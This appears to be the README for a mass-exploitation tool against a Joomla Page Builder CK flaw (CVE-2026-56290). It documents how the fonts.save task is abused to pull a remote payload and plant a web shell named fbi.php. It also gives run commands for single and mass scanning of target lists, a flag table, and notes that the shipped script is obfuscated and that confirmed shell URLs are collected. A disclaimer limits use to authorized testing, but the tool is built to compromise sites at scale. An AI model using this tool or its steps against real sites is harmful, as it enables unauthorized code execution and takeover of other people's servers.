
Page Builder CK for Joomla - Unauthenticated SSRF / Remote File Write leading to PHP execution Exploiter
BlackHat Team proof-of-concept scanner for the Joomla Page Builder CK fonts.save vulnerability.
POC CVE-2026-56290
Author: @mrzblackhat
Team: BlackHat Team
Credits: Peyman Siyahi · MR.PERSIA
This tool probes Joomla sites running the vulnerable com_pagebuilderck component. It abuses the fonts.save task to pull a remote payload and writes a web shell under:
media/com_pagebuilderck/gfonts/fbi.php
RCE is confirmed when the uploaded shell responds with an HTML <title> containing Fbi Shell.
Supports single-target and mass scanning with threaded workers and instant hit saving.
requestsurllib3pip install requests urllib3
python3 poc.py --url https://example.com --insecure
python3 poc.py --mass targets.txt --insecure --threads 20 --timeout 12
targets.txt — one URL per line. Lines after # are ignored.
Fbi ShellConfirmed shell URLs are appended to the output file immediately.
| File | Description |
|---|---|
poc.py | Obfuscated release build (run this) |
hits.txt | Default output for confirmed shells |
python3 _build_obf.py
POST to index.php with option=com_pagebuilderck&task=fonts.savefont.css callback triggers shell write to gfonts/fbi.phpGET the shell path and verify <title> contains Fbi ShellThis tool is provided for authorized security research and penetration testing only.
Unauthorized access to computer systems is illegal. The authors and BlackHat Team are not responsible for misuse. Only test systems you own or have explicit written permission to assess.
@mrzblackhatBlackHat Team — Peyman Siyahi · MR.PERSIA
Original research and tooling by @mrzblackhat. Do not redistribute modified copies without attribution.
| Flag | Description |
|---|
--url URL | Scan a single target |
--mass FILE | Scan targets from a file |
--insecure | Skip TLS certificate verification |
--threads N | Worker threads for mass mode (default: 20) |
--timeout N | HTTP timeout in seconds (default: 12) |
--output FILE | Save confirmed shell URLs (default: hits.txt) |